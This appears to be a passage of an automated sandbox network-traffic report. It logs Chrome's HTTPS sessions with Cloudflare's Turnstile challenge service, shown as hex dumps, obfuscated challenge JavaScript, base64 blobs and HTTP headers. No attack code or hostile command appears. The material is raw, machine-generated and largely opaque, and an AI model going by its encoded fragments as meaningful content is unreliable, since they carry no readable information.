6e Data Ascii: {return h<<i},'kLJfb':function(h,i){return h(i)},'swsPN':jn(1601),'dsosM':function(h,i){return h<i},'EOBxP':function(h,i){return i==h},'DyVYG':function(h,i,j){return h(i,j)},'jgoCZ':function(h,i){return i==h},'DPgyj':function(h,i){return i!=h},'nJemd':fun
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 39 29 5d 29 29 48 5b 6a 75 28 31 33 34 32 29 5d 28 6a 29 28 44 2e 69 29 3b 65 6c 73 65 7b 66 6f 72 28 78 3d 30 3b 78 3c 47 3b 49 3c 3c 3d 31 2c 4a 3d 3d 64 5b 6a 75 28 31 37 34 35 29 5d 28 6a 2c 31 29 3f 28 4a 3d 30 2c 48 5b 6a 75 28 36 36 35 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 6a 75 28 33 35 39 29 5d 28 30 29 2c 78 3d 30 3b 38 3e 78 3b 49 3d 31 26 4e 7c 49 3c 3c 31 2e 34 35 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 6a 75 28 36 36 35 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 7d 65 6c 73 65 7b 66 6f 72 28 4e 3d 31 2c 78 3d 30 3b 78 3c 47 3b 49 3d 4e 7c 49 3c 3c 31 2c 4a 3d 3d 64 5b 6a 75 28 31 37 34 35 29 5d 28 6a 2c 31 29 3f 28 4a 3d 30 2c 48 5b 6a Data Ascii: 9)]))H[ju(1342)](j)(D.i);else{for(x=0;x<G;I<<=1,J==d[ju(1745)](j,1)?(J=0,H[ju(665)](o(I)),I=0):J++,x++);for(N=D[ju(359)](0),x=0;8>x;I=1&N\|I<<1.45,J==j-1?(J=0,H[ju(665)](o(I)),I=0):J++,N>>=1,x++);}}else{for(N=1,x=0;x<G;I=N\|I<<1,J==d[ju(1745)](j,1)?(J=0,H[j
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 6a 75 28 36 36 35 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3d 30 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 6a 75 28 33 35 39 29 5d 28 30 29 2c 78 3d 30 3b 64 5b 6a 75 28 39 36 35 29 5d 28 31 36 2c 78 29 3b 49 3d 49 3c 3c 31 7c 64 5b 6a 75 28 35 33 30 29 5d 28 4e 2c 31 29 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 6a 75 28 36 36 35 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 45 2d 2d 2c 30 3d 3d 45 26 26 28 45 3d 4d 61 74 68 5b 6a 75 28 31 33 39 30 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 64 65 6c 65 74 65 20 43 5b 44 5d 7d 65 6c 73 65 20 66 6f 72 28 4e 3d 42 5b 44 5d 2c 78 3d 30 3b 64 5b 6a 75 28 36 37 36 29 5d 28 78 2c 47 29 3b 49 3d 64 5b 6a 75 28 31 34 37 35 29 5d 28 64 5b 6a 75 28 36 30 30 Data Ascii: ju(665)](o(I)),I=0):J++,N=0,x++);for(N=D[ju(359)](0),x=0;d[ju(965)](16,x);I=I<<1\|d[ju(530)](N,1),J==j-1?(J=0,H[ju(665)](o(I)),I=0):J++,N>>=1,x++);}E--,0==E&&(E=Math[ju(1390)](2,G),G++),delete C[D]}else for(N=B[D],x=0;d[ju(676)](x,G);I=d[ju(1475)](d[ju(600

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49749	104.18.95.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:05 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:05 UTC	210	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:46:05 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8cac6ada0f4f4294-EWR
2024-09-29 13:46:05 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49750	104.18.94.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:05 UTC	926	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1873559873:1727615690:U0M1_36ujtQBM26SoEsl3M9oa3qie42arCdiESuaeCc/8cac6acac9d61809/8a5b730841ae70c HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2998 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 8a5b730841ae70c sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:05 UTC	2998	OUT	Data Raw: 76 5f 38 63 61 63 36 61 63 61 63 39 64 36 31 38 30 39 3d 6c 57 37 73 51 73 74 73 57 73 6a 73 5a 41 36 6f 41 36 65 73 41 48 4e 52 59 44 41 6e 36 59 36 30 45 48 50 54 31 36 2d 72 4f 36 31 31 41 76 36 4b 36 63 48 6e 52 24 31 38 38 36 4c 36 50 73 78 56 4e 61 36 53 36 76 31 4e 45 46 63 41 48 61 36 6c 36 36 61 57 36 4b 73 36 57 24 36 6b 73 61 45 36 39 73 59 6d 76 42 71 52 55 76 73 7a 36 6c 31 4e 64 74 79 31 72 52 67 32 36 59 31 6d 67 55 74 79 57 41 54 6a 73 72 48 76 36 44 73 31 73 36 65 36 50 24 75 4b 72 54 57 75 44 54 36 32 6a 55 61 69 37 79 6f 56 24 76 64 36 72 44 63 36 6e 72 6e 6b 6b 41 64 36 36 24 44 36 59 6c 76 73 6b 42 6f 56 50 36 36 56 48 6b 6f 67 77 65 54 38 77 76 76 58 73 6b 5a 36 4e 6d 36 6e 6f 6d 36 58 76 2d 24 73 59 76 36 4e 48 52 36 62 4b 69 6f 4e Data Ascii: v_8cac6acac9d61809=lW7sQstsWsjsZA6oA6esAHNRYDAn6Y60EHPT16-rO611Av6K6cHnR$1886L6PsxVNa6S6v1NEFcAHa6l66aW6Ks6W$6ksaE69sYmvBqRUvsz6l1Ndty1rRg26Y1mgUtyWATjsrHv6Ds1s6e6P$uKrTWuDT62jUai7yoV$vd6rDc6nrnkkAd66$D6YlvskBoVP66VHkogweT8wvvXskZ6Nm6nom6Xv-$sYv6NHR6bKioN
2024-09-29 13:46:05 UTC	747	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:46:05 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152152 Connection: close cf-chl-gen: 4gflBQ2eoHBu2qj7se0OcnniXXhDzZg8hwZ+wfWS4b+Dzb0ZZjaVUvwqL4pu1OMsXyTyGX5IABMqYZGsIL+nMwEMfoFo6ljPrvRC84TKruvRf2hCVEQsCq2bMdbcpmgJ4E2XJoEw2VKwUoUnqPAEZ1fRpatIXv53mL1gmC143k0iRHTREQVRDLDjdGF2o1rdHO1ZPmZIglnJqF71lTk3mvxBV0sDCzrJFKSurw52AtTLAWpMM2WzjdK5xru5gdRFHXAcKIF4a4G/8NEvbuW1eUiaULaZ8kjZzChRcPO0CSxN38LZvlsZEvj7Y0rd3loje5oKc65djkKgvgl5MsRybvnsXq77xlVLu4qiYSjG0WAj9M9KvDyRB+vwbigkWuHyH15rvxDBXVZFYIFtYgWVplYermy/jT8l42kMn4FSxI8R80EcaaXE8FF6srBN30hXYpkXZ7pNpNtaVdgzMvhg/pswV/3c8BJWzSYlVA3NsaxqXAI=$26NOIJuLqofsqz1k Server: cloudflare CF-RAY: 8cac6adaba2417a1-EWR alt-svc: h3=":443"; ma=86400
2024-09-29 13:46:05 UTC	622	IN	Data Raw: 6c 4d 53 35 6a 37 54 44 6e 5a 6a 4b 69 38 61 74 69 71 43 4e 6b 61 4b 75 79 4c 57 69 72 63 6d 37 7a 63 6e 55 32 37 79 2f 6f 74 76 46 73 39 6e 41 73 62 71 34 36 36 7a 75 77 39 76 4e 76 36 76 4a 77 38 58 4a 35 38 72 46 7a 2f 6a 62 79 2b 7a 54 76 39 48 54 30 74 4c 50 7a 74 37 54 41 2f 6b 47 42 76 66 65 34 75 6a 63 7a 74 7a 72 34 65 4c 57 37 64 44 6a 37 75 2f 6e 32 75 6b 51 33 79 51 65 49 2f 76 39 35 79 4c 7a 4a 76 55 64 47 66 30 46 4d 53 30 43 43 54 55 4b 45 68 45 33 4a 41 58 36 4e 67 67 2b 43 6a 41 73 2f 41 31 44 50 77 45 52 53 42 35 47 43 6b 46 4a 52 44 67 36 49 69 4e 4f 4a 30 42 45 4e 43 45 56 56 78 56 56 45 44 49 37 55 46 51 65 4f 53 38 75 51 7a 6f 7a 61 46 6c 61 4e 6a 5a 47 4c 46 73 39 51 57 46 6c 4c 6e 46 68 57 6d 68 75 54 6b 70 53 55 48 31 2b 50 6c 61 Data Ascii: lMS5j7TDnZjKi8atiqCNkaKuyLWircm7zcnU27y/otvFs9nAsbq466zuw9vNv6vJw8XJ58rFz/jby+zTv9HT0tLPzt7TA/kGBvfe4ujcztzr4eLW7dDj7u/n2ukQ3yQeI/v95yLzJvUdGf0FMS0CCTUKEhE3JAX6Ngg+CjAs/A1DPwERSB5GCkFJRDg6IiNOJ0BENCEVVxVVEDI7UFQeOS8uQzozaFlaNjZGLFs9QWFlLnFhWmhuTkpSUH1+Pla
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 64 78 59 6f 5a 53 63 49 6c 6e 59 48 75 57 6e 6c 36 46 59 46 6c 6c 61 57 47 57 72 5a 61 72 59 61 39 77 68 34 36 7a 70 33 47 79 71 49 32 71 75 62 5a 32 73 35 47 76 69 6f 2f 45 75 72 71 75 76 4a 4b 56 78 70 79 47 72 73 6a 48 71 36 43 6c 6e 38 4b 67 30 4b 50 50 71 70 48 4c 72 4e 7a 50 31 70 62 52 34 73 47 66 72 75 4b 6c 30 4f 62 56 71 4d 43 2f 31 75 79 69 76 36 79 76 79 4f 6e 42 74 76 62 42 36 4e 48 38 75 62 33 4a 73 73 71 38 41 38 4c 34 75 4f 58 32 35 66 6a 2b 2b 2b 77 41 44 4f 6e 5a 30 4d 30 4d 33 64 59 47 38 39 58 61 30 74 66 79 45 41 73 4a 38 42 34 67 32 78 72 76 39 42 58 6d 35 41 77 6e 48 76 63 6a 42 51 7a 78 37 41 6b 32 46 41 41 4f 4f 69 30 32 46 44 34 4f 48 42 68 43 45 66 6f 63 52 68 59 55 49 45 6f 5a 4b 43 52 4f 48 55 49 6f 55 69 51 4b 54 69 38 53 4d Data Ascii: dxYoZScIlnYHuWnl6FYFllaWGWrZarYa9wh46zp3GyqI2qubZ2s5Gvio/EurquvJKVxpyGrsjHq6Cln8Kg0KPPqpHLrNzP1pbR4sGfruKl0ObVqMC/1uyiv6yvyOnBtvbB6NH8ub3Jssq8A8L4uOX25fj+++wADOnZ0M0M3dYG89Xa0tfyEAsJ8B4g2xrv9BXm5AwnHvcjBQzx7Ak2FAAOOi02FD4OHBhCEfocRhYUIEoZKCROHUIoUiQKTi8SM
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 55 66 56 71 66 58 48 52 66 63 5a 71 68 6c 5a 57 63 6f 6f 46 34 72 47 2b 48 61 47 6d 55 6a 59 61 4f 62 6d 74 73 75 58 4a 34 69 6f 75 51 71 70 65 39 6d 73 4f 32 6c 5a 53 6f 77 4b 65 49 77 34 53 4d 79 4a 71 4c 69 71 58 4e 6c 59 2b 70 71 4c 6a 53 71 73 79 39 76 38 69 39 73 4c 47 65 72 74 66 65 75 4e 4b 31 37 4b 6d 6a 72 71 62 50 77 4e 50 7a 39 4e 54 6c 74 76 4b 7a 2b 62 62 31 74 39 66 39 38 39 37 62 2f 51 62 2b 42 50 72 36 33 77 73 45 37 63 77 49 37 38 77 53 35 76 77 42 46 74 54 55 38 2f 6f 49 46 50 66 32 44 68 6e 2b 44 67 41 54 42 52 54 31 41 67 67 58 2b 51 58 6e 44 66 34 67 41 69 6f 72 4c 54 41 4f 42 68 55 4f 4e 69 51 70 4c 67 63 71 50 67 30 59 46 45 55 45 50 68 41 56 52 42 51 7a 4f 53 49 6f 4a 55 41 6e 55 67 38 53 54 43 38 33 4f 52 41 6f 4b 43 31 4d 57 56 Data Ascii: UfVqfXHRfcZqhlZWcooF4rG+HaGmUjYaObmtsuXJ4iouQqpe9msO2lZSowKeIw4SMyJqLiqXNlY+pqLjSqsy9v8i9sLGertfeuNK17KmjrqbPwNPz9NTltvKz+bb1t9f9897b/Qb+BPr63wsE7cwI78wS5vwBFtTU8/oIFPf2Dhn+DgATBRT1AggX+QXnDf4gAiorLTAOBhUONiQpLgcqPg0YFEUEPhAVRBQzOSIoJUAnUg8STC83ORAoKC1MWV
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 6a 36 42 32 6d 33 65 48 6c 57 56 75 6e 6f 64 72 6f 6f 57 66 74 61 65 7a 6d 4b 71 4f 63 33 64 38 71 4a 42 37 77 70 79 63 73 62 2f 41 78 4b 47 39 77 4d 53 6e 75 73 36 34 30 49 69 68 70 4a 33 56 6a 38 65 70 75 73 4b 70 79 37 36 2f 30 37 6e 53 77 4e 61 6b 32 4d 65 30 71 4d 62 65 6f 38 6e 4f 7a 4f 50 4a 33 74 44 6e 79 64 54 58 78 4c 6a 61 32 4f 75 34 30 73 2f 51 33 39 44 74 41 4f 49 41 34 66 6b 44 31 63 58 38 36 67 4c 37 34 77 58 39 34 2f 30 53 41 4f 45 58 37 51 37 51 48 52 55 4a 47 68 33 78 45 67 44 75 48 41 63 46 39 78 76 7a 48 2b 6b 4b 2b 51 50 34 4d 51 34 6d 48 69 41 77 4e 75 30 48 41 6a 44 32 4e 41 6f 4d 4f 2f 30 35 4f 41 49 50 48 6a 6b 45 4e 54 63 2b 4e 50 35 4d 51 41 34 36 4c 41 74 4b 4c 30 39 56 56 44 52 61 54 53 73 76 4b 6a 51 70 47 46 34 33 50 6a 39 Data Ascii: j6B2m3eHlWVunodrooWftaezmKqOc3d8qJB7wpycsb/AxKG9wMSnus640IihpJ3Vj8epusKpy76/07nSwNak2Me0qMbeo8nOzOPJ3tDnydTXxLja2Ou40s/Q39DtAOIA4fkD1cX86gL74wX94/0SAOEX7Q7QHRUJGh3xEgDuHAcF9xvzH+kK+QP4MQ4mHiAwNu0HAjD2NAoMO/05OAIPHjkENTc+NP5MQA46LAtKL09VVDRaTSsvKjQpGF43Pj9
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 6c 2b 67 6b 49 35 77 6a 59 47 75 66 6f 5a 75 6b 58 6d 78 71 62 65 70 73 72 76 42 6a 4d 43 44 77 5a 6d 58 73 63 53 5a 68 73 75 6f 6c 35 71 47 75 4b 62 4f 7a 59 71 6b 31 63 43 57 73 4a 66 46 74 36 6a 65 74 4b 6d 58 6e 64 79 68 75 2b 61 39 73 65 69 63 33 2b 62 4f 79 71 2f 70 76 64 33 66 78 2f 44 71 2b 4d 6d 33 73 75 2f 51 31 64 44 52 7a 2b 44 69 37 63 4c 34 38 38 51 42 30 38 50 43 33 65 7a 6f 43 64 2f 61 79 50 33 39 38 66 54 74 30 4f 49 4d 45 2b 38 50 44 4e 37 63 2b 42 62 56 41 68 73 65 32 53 67 4a 38 2b 49 70 35 79 37 71 4b 75 73 4d 4d 69 72 78 44 69 76 7a 4e 68 51 75 4f 77 6e 36 39 78 49 59 2b 44 67 37 45 53 51 2f 48 43 59 46 44 43 51 35 42 79 63 63 48 53 45 66 51 41 35 4a 55 53 74 4f 4f 31 73 55 54 7a 4d 71 4b 56 51 69 49 31 6c 46 52 54 63 79 51 79 45 6e Data Ascii: l+gkI5wjYGufoZukXmxqbepsrvBjMCDwZmXscSZhsuol5qGuKbOzYqk1cCWsJfFt6jetKmXndyhu+a9seic3+bOyq/pvd3fx/Dq+Mm3su/Q1dDRz+Di7cL488QB08PC3ezoCd/ayP398fTt0OIME+8PDN7c+BbVAhse2SgJ8+Ip5y7qKusMMirxDivzNhQuOwn69xIY+Dg7ESQ/HCYFDCQ5ByccHSEfQA5JUStOO1sUTzMqKVQiI1lFRTcyQyEn
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 53 6e 67 34 4f 44 71 62 70 32 71 34 32 54 76 70 43 66 74 58 75 44 78 5a 43 54 68 4c 69 59 69 4b 76 4e 78 70 75 6e 6a 6f 2b 37 79 39 48 45 31 64 43 79 6b 5a 4c 55 31 74 4b 34 72 37 37 61 32 4b 37 61 6e 65 66 6e 79 63 4f 2b 36 39 58 6a 70 72 33 4a 37 75 33 4d 36 38 6e 65 7a 38 76 43 30 74 76 72 78 76 47 35 79 2b 38 41 76 2b 50 54 2b 39 58 6b 75 2b 6a 6a 79 75 44 38 39 2f 6a 74 42 76 4c 38 2f 74 50 6d 45 4f 67 49 42 51 33 38 32 50 72 61 41 43 4d 5a 48 69 49 6d 49 4f 51 6c 39 67 58 38 48 51 6b 47 2b 67 51 48 48 69 63 44 41 41 41 79 44 51 51 55 43 52 55 2f 47 42 30 61 44 45 4a 44 47 67 39 47 50 78 4d 54 43 30 6f 4a 47 68 67 2b 43 52 74 43 53 67 38 68 45 68 6b 6b 4b 6b 39 4f 52 68 70 56 51 6c 64 65 55 54 73 65 5a 6a 39 65 4b 42 31 57 4b 79 77 68 58 57 34 75 63 Data Ascii: Sng4ODqbp2q42TvpCftXuDxZCThLiYiKvNxpunjo+7y9HE1dCykZLU1tK4r77a2K7anefnycO+69Xjpr3J7u3M68nez8vC0tvrxvG5y+8Av+PT+9Xku+jjyuD89/jtBvL8/tPmEOgIBQ382PraACMZHiImIOQl9gX8HQkG+gQHHicDAAAyDQQUCRU/GB0aDEJDGg9GPxMTC0oJGhg+CRtCSg8hEhkkKk9ORhpVQldeUTseZj9eKB1WKywhXW4uc
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 46 74 62 4e 30 71 58 75 56 67 4c 47 30 6c 61 46 34 6e 70 71 57 79 4c 52 2b 79 49 72 46 73 63 6e 50 76 72 2b 55 30 35 66 46 32 61 4c 53 72 4e 65 73 30 70 76 61 31 37 76 45 34 72 75 68 34 4d 58 71 71 4c 36 2b 70 65 37 44 72 73 44 69 77 4f 57 77 31 2b 44 55 39 62 58 30 2b 39 48 4c 33 2f 69 34 38 39 54 77 30 2f 58 41 32 64 33 38 43 77 72 4c 42 51 6e 6c 43 51 72 69 37 66 49 43 43 67 55 4f 32 68 6a 72 30 4e 67 63 48 51 34 66 41 52 50 78 4a 52 34 6a 4b 4f 45 48 36 43 6b 69 44 66 6f 4b 4e 4f 77 56 47 50 49 4b 4f 6a 59 46 2b 52 67 73 48 52 50 34 4f 68 55 67 46 68 67 62 4e 53 56 46 4f 55 64 47 50 55 4d 6d 48 6b 51 6f 52 69 45 73 56 53 68 48 54 45 5a 47 4b 7a 46 56 47 55 45 56 5a 52 74 46 4a 6c 59 36 58 53 49 31 5a 46 70 5a 4c 55 30 73 59 47 31 64 64 44 52 31 4e 31 Data Ascii: FtbN0qXuVgLG0laF4npqWyLR+yIrFscnPvr+U05fF2aLSrNes0pva17vE4ruh4MXqqL6+pe7DrsDiwOWw1+DU9bX0+9HL3/i489Tw0/XA2d38CwrLBQnlCQri7fICCgUO2hjr0NgcHQ4fARPxJR4jKOEH6CkiDfoKNOwVGPIKOjYF+RgsHRP4OhUgFhgbNSVFOUdGPUMmHkQoRiEsVShHTEZGKzFVGUEVZRtFJlY6XSI1ZFpZLU0sYG1ddDR1N1
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 77 5a 47 50 6d 38 57 55 6f 35 2f 4a 6d 4c 32 6a 7a 5a 2b 46 79 61 71 4e 72 49 75 6a 6f 36 6a 48 31 4e 69 37 6d 62 65 7a 6e 73 75 61 6f 70 72 52 6e 64 47 65 30 72 33 56 6f 74 62 41 32 61 62 61 77 39 32 71 33 73 62 68 72 75 4c 51 35 62 4c 6d 79 62 44 5a 76 50 6a 6a 34 66 50 36 35 76 76 58 77 51 58 61 39 4e 72 57 78 39 37 39 34 2f 30 53 42 41 2f 6f 31 75 76 6d 35 2f 41 65 39 39 59 66 46 4e 34 4d 35 42 44 6d 34 50 6f 67 35 41 49 65 49 2b 67 5a 48 53 38 44 2f 41 44 77 4e 54 44 7a 4d 42 55 36 4b 68 34 4f 2f 54 45 63 41 42 38 4e 39 78 67 42 53 67 63 6a 54 52 67 67 53 77 6f 35 44 31 42 44 49 42 5a 4a 46 44 51 55 4c 31 41 70 53 68 38 2f 59 6b 73 7a 56 6a 4e 52 5a 57 59 30 49 6b 6b 69 4a 43 6c 59 53 44 6c 6d 51 47 4e 4d 55 6a 64 6e 64 54 56 63 66 44 31 53 4e 56 35 Data Ascii: wZGPm8WUo5/JmL2jzZ+FyaqNrIujo6jH1Ni7mbeznsuaoprRndGe0r3VotbA2abaw92q3sbhruLQ5bLmybDZvPjj4fP65vvXwQXa9NrWx9794/0SBA/o1uvm5/Ae99YfFN4M5BDm4Pog5AIeI+gZHS8D/ADwNTDzMBU6Kh4O/TEcAB8N9xgBSgcjTRggSwo5D1BDIBZJFDQUL1ApSh8/YkszVjNRZWY0IkkiJClYSDlmQGNMUjdndTVcfD1SNV5
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 4d 53 66 6f 36 61 6f 68 36 57 61 70 70 6e 42 6a 73 53 6c 78 71 66 49 71 63 71 72 7a 4b 33 4f 72 39 43 78 30 72 50 55 74 64 61 33 32 4c 6e 61 75 39 79 39 33 72 2f 67 79 4f 4f 75 70 73 7a 6e 73 71 72 51 36 37 61 75 31 4f 2b 36 73 74 6a 75 2b 62 62 63 38 39 66 7a 78 76 7a 62 7a 4d 4d 41 36 67 76 4c 36 77 58 67 79 2b 77 4e 46 4f 58 77 39 77 33 7a 44 64 6f 51 38 66 37 76 49 4e 30 42 38 78 48 31 42 67 63 4e 36 51 67 68 43 54 4d 4d 4b 76 45 45 45 51 55 43 39 42 51 58 4c 2f 77 57 51 52 72 38 48 42 38 45 42 52 38 35 48 68 67 38 4b 43 59 63 4a 46 46 49 48 79 64 46 53 43 51 74 45 78 51 59 4d 42 4d 32 4c 44 59 59 4b 79 70 53 48 6c 30 31 56 69 4a 70 4f 46 64 69 58 54 35 66 51 46 77 78 58 79 39 67 4d 32 64 49 61 55 70 71 4e 6e 31 4e 61 33 5a 78 55 6e 51 2b 68 56 56 31 Data Ascii: MSfo6aoh6WappnBjsSlxqfIqcqrzK3Or9Cx0rPUtda32Lnau9y93r/gyOOupsznsqrQ67au1O+6stju+bbc89fzxvzbzMMA6gvL6wXgy+wNFOXw9w3zDdoQ8f7vIN0B8xH1BgcN6QghCTMMKvEEEQUC9BQXL/wWQRr8HB8EBR85Hhg8KCYcJFFIHydFSCQtExQYMBM2LDYYKypSHl01ViJpOFdiXT5fQFwxXy9gM2dIaUpqNn1Na3ZxUnQ+hVV1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49752	104.18.95.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:09 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1873559873:1727615690:U0M1_36ujtQBM26SoEsl3M9oa3qie42arCdiESuaeCc/8cac6acac9d61809/8a5b730841ae70c HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:09 UTC	349	IN	HTTP/1.1 404 Not Found Date: Sun, 29 Sep 2024 13:46:09 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: zxysJz+fqkxkotMgRSLazxG0mOjV7gDmChU=$T8ms7DxgeWaeLom6 Server: cloudflare CF-RAY: 8cac6af1888ec33c-EWR
2024-09-29 13:46:09 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49751	104.18.94.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:09 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8cac6acac9d61809/1727617565889/515d493718c25daab272f777f117673e39ba48443bab3df9d80c08c07e126b92/slYH2Pw7y5byV0f HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:09 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Sun, 29 Sep 2024 13:46:09 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-09-29 13:46:09 UTC	1985	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 55 56 31 4a 4e 78 6a 43 58 61 71 79 63 76 64 33 38 52 64 6e 50 6a 6d 36 53 45 51 37 71 7a 33 35 32 41 77 49 77 48 34 53 61 35 49 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gUV1JNxjCXaqycvd38RdnPjm6SEQ7qz352AwIwH4Sa5IAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-09-29 13:46:09 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49753	104.18.94.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
